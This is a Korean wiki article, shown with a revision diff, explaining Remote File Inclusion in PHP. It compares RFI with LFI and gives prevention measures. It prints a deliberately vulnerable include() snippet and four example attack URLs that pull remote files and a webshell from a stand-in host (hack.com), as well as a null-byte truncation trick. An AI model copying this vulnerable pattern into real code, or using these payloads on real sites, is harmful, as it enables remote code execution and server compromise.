"원격파일삽입"의 두 판 사이의 차이
9번째 줄: | 9번째 줄: | ||
;RFI 취약점 찾기 및 예방 | ;RFI 취약점 찾기 및 예방 | ||
− | 다행스럽게도 Acunetix 취약성 스캐너를 사용하여 자동화된 웹 스캔을 실행하면 웹 사이트 또는 웹 애플리케이션이 RFI 및 SQL Injection, 디렉터리 탐색 등과 같은 기타 취약성에 취약한지 쉽게 테스트 할 수 있다. 데모를 통해 사이버 보안을 유지하기 위해 웹 사이트 또는 웹 애플리케이션에 대해 스캔을 실행하는 방법에 대해 자세히 알아볼 수 있다. RFI 취약성을 발견한 경우 이를 제거하는 가장 좋은 방법은 사용자 입력을 기반으로 파일을 포함하지 않는 것이다. 이것이 가능하지 않은 경우 애플리케이션은 포함될 수 있는 파일의 화이트리스트를 유지해야 한다. 이 경우 입력 유효성 검사는 공격자가 영리한 트릭을 사용하여 주변을 이동할 수 있기 때문에 훨씬 덜 효과적인 방법이다. 또한 PHP 응용 프로그램의 경우 대부분의 최신 설치는 php. ini에서 allow_url_include가 off로 설정되어 구성된다. 이로 인해 악의적인 사용자가 원격 파일을 포함할 수 없다. 그러나 이러한 경우에도 LFI (Local File Inclusion) 가 여전히 가능하다.<ref> 이안 무스카트, 〈[https://www.acunetix.com/blog/articles/remote-file-inclusion-rfi/ RFI (원격 파일 포함) 란 무엇입니까?]〉, 《acunetix》, 2020-04-02</ref> | + | 다행스럽게도 Acunetix 취약성 스캐너를 사용하여 자동화된 웹 스캔을 실행하면 웹 사이트 또는 웹 애플리케이션이 RFI 및 [[SQL Injection]], 디렉터리 탐색 등과 같은 기타 취약성에 취약한지 쉽게 테스트 할 수 있다. 데모를 통해 사이버 보안을 유지하기 위해 웹 사이트 또는 웹 애플리케이션에 대해 스캔을 실행하는 방법에 대해 자세히 알아볼 수 있다. RFI 취약성을 발견한 경우 이를 제거하는 가장 좋은 방법은 사용자 입력을 기반으로 파일을 포함하지 않는 것이다. 이것이 가능하지 않은 경우 애플리케이션은 포함될 수 있는 파일의 화이트리스트를 유지해야 한다. 이 경우 입력 유효성 검사는 공격자가 영리한 트릭을 사용하여 주변을 이동할 수 있기 때문에 훨씬 덜 효과적인 방법이다. 또한 PHP 응용 프로그램의 경우 대부분의 최신 설치는 php. ini에서 allow_url_include가 off로 설정되어 구성된다. 이로 인해 악의적인 사용자가 원격 파일을 포함할 수 없다. 그러나 이러한 경우에도 LFI (Local File Inclusion) 가 여전히 가능하다.<ref> 이안 무스카트, 〈[https://www.acunetix.com/blog/articles/remote-file-inclusion-rfi/ RFI (원격 파일 포함) 란 무엇입니까?]〉, 《acunetix》, 2020-04-02</ref> |
== 공격 방법 == | == 공격 방법 == | ||
− | 원격파일삽입의 공격 방법으로는 URL 공격이 있다. 원격파일삽입의 | + | 원격파일삽입의 공격 방법으로는 URL 공격이 있다. 원격파일삽입의 [[취약점]]을 이해하기 위해서는 먼저 [[PHP]]의 include 함수에 대해 알고 있어야 한다. Include() 함수는 주로 모든 페이지에 포함될 표준 헤더 및 메뉴들을 파일로 만들어서 포함할 때 사용된다. 함수 내에서 include에 의해 파일 호출이 발생한다면, 호출된 파일 안의 모든 코드가 그 함수에서 정의된 것처럼 동작한다. include 함수의 사용법은 총 3가지로 사용될 수 있다. 첫 번째는 Include(‘URL’)이다. 이 방법은 URL을 현재 페이지에서 호출하는 것이다. 두번째는 Include($dir)이다. $dir변수의 값을 현재 페이지에서 호출하는 방법이다. 마지막으로 세 번째로는 Include($dir.’.PHP’)이다. 변수를 호출할 때 변수뒤에. php를 붙인 상태로 호출하는 방법이다. RFI 취약점이 존재하는 코드는 다음과 같다. 아래의 코드의 경우 최종적으로 http://hack.com/bad.php?.php 가 되고 이 값에서. php는 변수가 사용하지 않는 변수이기 때문에 무시되고 완전한 형태의 http://hack.com/bad.php가 삽입되는 것이다.<ref>〈[http://blog.plura.io/?p=7604 RFI 대응방안]〉, 《프루라블로그》, 2017-10-24</ref> |
<?php <br>$color=’blue’; <br>if(isset($_GET[‘COLOR’])) //COLOR=http://hack.com/bad.php? <br>$color=$_GET[‘COLOR’]; //$color=http://hack.com/bad.php? 로 변수가 설정 <br>include($color.’.php’); //include(“http://hack.com/bad.php?”.’.php’); <br>?> | <?php <br>$color=’blue’; <br>if(isset($_GET[‘COLOR’])) //COLOR=http://hack.com/bad.php? <br>$color=$_GET[‘COLOR’]; //$color=http://hack.com/bad.php? 로 변수가 설정 <br>include($color.’.php’); //include(“http://hack.com/bad.php?”.’.php’); <br>?> | ||
2021년 2월 9일 (화) 17:16 판
원격파일삽입(Remote file inclusion or RFI)는 취약점을 이용한 공격은 공격자가 악성 스크립트를 서비스 서버에 전달하여 해당 페이지를 통하여 전달한 악성 코드가 실행되도록 하는 것이다. 쉽게 말해서 웹 애플리케이션에 공격자가 자신의 코드를 원격으로 삽입 가능하다는 것이다.
개요
원격파일삽입은 취약점을 이용한 공격은 공격자가 악성 스크립트를 웹서버에 전달하여 해당 페이지를 통하여 전달한 악성 코드가 실행되도록 하는 것이다. 쉽게 말해서 웹 애플리케이션에 공격자 자신의 코드를 원격으로 삽입 가능하다는 것이다.
특징
- RFI와 LFI의 차이점
RFI는 공격자의 PC에서 유래하는 것이고, LFI는 피해자의 PC에서 유래하는 것이다. RFI는 공격자의 PC에 존재하는 파일을 열어보거나 혹은 공격자가 만들어놓은 사이트에 접속해서 희생자의 PC에 오는 것이고, LFI는 희생자의 컴퓨터 내에 존재하고 있는 것을 대상으로 하는 것이다.[1] RFI와 마찬가지로 로컬 파일 포함(LFI) 은 웹 브라우저를 통해 서버에 악성 파일을 업로드하는 벡터이다. 두 벡터는 종종 파일 포함 공격의 맥락에서 함께 참조된다. 두 경우 모두 공격이 성공하면 악성 코드가 대상 서버에 업로드된다. 그러나 RFI와 달리 LFI 공격은 사용자가 제공/제어된 입력을 검증하지 못하는 안전하지 않은 로컬 파일 업로드 기능을 악용하는 것을 목표로 한다. 그 결과 악의적인 캐릭터 업로드와 디렉터리/경로 통과 공격이 허용된다. 그런 다음 가해자는 원격 위치에서 강화된 외부 참조 기능을 사용하여 검색하는 것과 달리 악성 코드를 손상된 시스템에 직접 업로드 할 수 있다.[2]
- RFI 취약점 찾기 및 예방
다행스럽게도 Acunetix 취약성 스캐너를 사용하여 자동화된 웹 스캔을 실행하면 웹 사이트 또는 웹 애플리케이션이 RFI 및 SQL Injection, 디렉터리 탐색 등과 같은 기타 취약성에 취약한지 쉽게 테스트 할 수 있다. 데모를 통해 사이버 보안을 유지하기 위해 웹 사이트 또는 웹 애플리케이션에 대해 스캔을 실행하는 방법에 대해 자세히 알아볼 수 있다. RFI 취약성을 발견한 경우 이를 제거하는 가장 좋은 방법은 사용자 입력을 기반으로 파일을 포함하지 않는 것이다. 이것이 가능하지 않은 경우 애플리케이션은 포함될 수 있는 파일의 화이트리스트를 유지해야 한다. 이 경우 입력 유효성 검사는 공격자가 영리한 트릭을 사용하여 주변을 이동할 수 있기 때문에 훨씬 덜 효과적인 방법이다. 또한 PHP 응용 프로그램의 경우 대부분의 최신 설치는 php. ini에서 allow_url_include가 off로 설정되어 구성된다. 이로 인해 악의적인 사용자가 원격 파일을 포함할 수 없다. 그러나 이러한 경우에도 LFI (Local File Inclusion) 가 여전히 가능하다.[3]
공격 방법
원격파일삽입의 공격 방법으로는 URL 공격이 있다. 원격파일삽입의 취약점을 이해하기 위해서는 먼저 PHP의 include 함수에 대해 알고 있어야 한다. Include() 함수는 주로 모든 페이지에 포함될 표준 헤더 및 메뉴들을 파일로 만들어서 포함할 때 사용된다. 함수 내에서 include에 의해 파일 호출이 발생한다면, 호출된 파일 안의 모든 코드가 그 함수에서 정의된 것처럼 동작한다. include 함수의 사용법은 총 3가지로 사용될 수 있다. 첫 번째는 Include(‘URL’)이다. 이 방법은 URL을 현재 페이지에서 호출하는 것이다. 두번째는 Include($dir)이다. $dir변수의 값을 현재 페이지에서 호출하는 방법이다. 마지막으로 세 번째로는 Include($dir.’.PHP’)이다. 변수를 호출할 때 변수뒤에. php를 붙인 상태로 호출하는 방법이다. RFI 취약점이 존재하는 코드는 다음과 같다. 아래의 코드의 경우 최종적으로 http://hack.com/bad.php?.php 가 되고 이 값에서. php는 변수가 사용하지 않는 변수이기 때문에 무시되고 완전한 형태의 http://hack.com/bad.php가 삽입되는 것이다.[4]
<?php
$color=’blue’;
if(isset($_GET[‘COLOR’])) //COLOR=http://hack.com/bad.php?
$color=$_GET[‘COLOR’]; //$color=http://hack.com/bad.php? 로 변수가 설정
include($color.’.php’); //include(“http://hack.com/bad.php?”.’.php’);
?>
- 취약점 공격
* CASE1(http://www.plura.io/color.php?COLOR=http://hack.com/hack.php)
: $color 변수에 URL 삽입을 시도하지만, 실패로 나타난다. 이때 오류 구문을 보면 hack. php. php 의 형태로 변하게 된다.
* CASE2(http://www.plura.io/color.php?COLOR=http://hack.com/webshell.txt?)
: 종단 문자를 사용하여 원격지의 파일을 포함 시킨다.
* CASE3(http://www.plura.io/color.php?COLOR=C:\ftp\upload\exploit)
: 공격전에 미리 업로드한 파일을 호출하여 exploit. php파일로 만들어 RFI 공격을 실행할 수 있다.
* CASE4(http://www.plura.io/color.php?COLOR=C:\notes.txt%00)
: NULL Meta 문자(% 00)를 삽입하여. php 확장자를 제거하고 다른 파일로 접근이 가능하게 만든다.
대응방안
관리자는 소스 코드에 include, require 등의 구문/함수가 존재하는지 검증하고, 만약 사용자의 입력값을 통해 파일명이 결정된다면 외부의 악의적인 파일이 포함되어 실행되지 않도록 PHP 설정 파일인 php. ini 파일에서 allow_URL_open을 off 설정하여준다.[5]
각주
- ↑ dongil7754, 〈RFI와 LFI !〉, 《네이버 블로그》, 2016-07-18
- ↑ 〈원격 파일 포함 (RFI)〉, 《임프리바》
- ↑ 이안 무스카트, 〈RFI (원격 파일 포함) 란 무엇입니까?〉, 《acunetix》, 2020-04-02
- ↑ 〈RFI 대응방안〉, 《프루라블로그》, 2017-10-24
- ↑ Motie_FireWall, 〈파일 삽입 (File Inclusion) 취약점〉, 《티스토리》, 2020-04-23
참고 자료
- dongil7754, 〈RFI와 LFI !〉, 《네이버 블로그》, 2016-07-18
- 〈원격 파일 포함 (RFI)〉, 《임프리바》
- 이안 무스카트, 〈RFI (원격 파일 포함) 란 무엇입니까?〉, 《acunetix》, 2020-04-02
- 〈RFI 대응방안〉, 《프루라블로그》, 2017-10-24
- Motie_FireWall, 〈파일 삽입 (File Inclusion) 취약점〉, 《티스토리》, 2020-04-23
같이보기